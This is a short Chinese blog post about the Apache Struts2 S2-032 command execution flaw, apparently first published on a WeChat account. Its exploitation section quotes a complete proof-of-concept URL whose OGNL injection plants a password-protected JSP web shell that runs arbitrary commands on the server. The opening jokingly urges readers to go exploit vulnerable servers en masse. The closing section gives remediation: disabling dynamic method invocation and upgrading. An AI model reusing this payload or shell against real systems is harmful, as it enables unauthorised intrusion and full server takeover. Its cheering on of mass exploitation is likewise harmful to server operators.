0x00 杂绪
朋友圈疯传Struts2-032漏洞的分析和利用,不得不感慨Struts2真是多灾多难啊。赶紧上乌云查看,果然,又开始了新的一轮刷Struts。服务器管理员的悲哀一晚。
发现大部分是Struts2命令执行漏洞,今晚注定是一个不眠之夜,各位小伙伴刷起吧。我就先去睡觉了。
0x01 漏洞利用
引用menmen519大牛的poc:
http://192.168.10.70:8080/struts2-showcase/filedownload/index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23a%3d%23parameters.reqobj[0],%23c%3d%23parameters.reqobj[1],%23req%3d%23context.get(%23a),%23b%3d%23req.getRealPath(%23c)%2b%23parameters.reqobj[2],%23fos%3dnewjava.io.FileOutputStream(%23b),%23fos.write(%23parameters.content[0].getBytes()),%23fos.close(),%23hh%3d%23context.get(%23parameters.rpsobj[0]),%23hh.getWriter().println(%23b),%23hh.getWriter().flush(),%23hh.getWriter().close(),1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&reqobj=%2f&reqobj=test.jsp&content=gif89a%3C%25%0A%20%20%20%20if%28%22024%22.equals%28request.getParameter%28%22pwd%22%29%29%29%7B%0A%20%20%20%20%20%20%20%20java.io.InputStream%20in%20%3D%20Runtime.getRuntime%28%29.exec%28request.getParameter%28%22l%22%29%29.getInputStream%28%29%3B%0A%20%20%20%20%20%20%20%20int%20a%20%3D%20-1%3B%0A%20%20%20%20%20%20%20%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%0A%20%20%20%20%20%20%20%20out.print%28%22%3Cpre%3E%22%29%3B%0A%20%20%20%20%20%20%20%20while%28%28a%3Din.read%28b%29%29%21%3D-1%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20out.println%28new%20String%28b%29%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20out.print%28%22%3C%2fpre%3E%22%29%3B%0A%20%20%20%20%7D%0A%25%3E
0x02 漏洞修复
相对于众白帽子或者黑白灰帽子的欣喜欲狂,此刻坐在机房修复漏洞的服务器管理员那是欲哭无泪,在约会的、和女神看电影的、在***的服务器管理员经过领导的一通炮轰纷纷回到机房修复漏洞,好,废话说了一箩筐,说下众受难人员最关心的漏洞修复。
①关闭动态方法调用:
<constantname=“struts.enable.DynamicMethodInvocation”value=“false”/>
②升级版本
可升级到2.3.20.2、2.3.24.2和2.3.28.1版本修复该问题。
传送门:https://struts.apache.org/download.cgi#struts23281
本文作者:whitecell-club.org 骄阳
文章欢迎转载,但请务必保留作者与出处!
本文始发于微信公众号(WhiteCellClub):Apache Struts2最新命令执行漏洞引发的爱恨情愁
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论